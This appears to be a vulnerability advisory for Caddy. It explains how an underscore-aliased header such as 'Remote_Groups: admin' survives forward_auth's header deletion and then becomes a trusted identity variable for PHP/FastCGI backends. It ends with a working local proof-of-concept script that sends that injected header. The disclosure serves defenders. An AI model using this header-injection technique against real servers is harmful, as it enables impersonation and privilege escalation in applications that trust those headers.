Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

• modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
• modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

• modules/caddyhttp/headers/headers.go:255
• modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

• modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
• modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
• modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"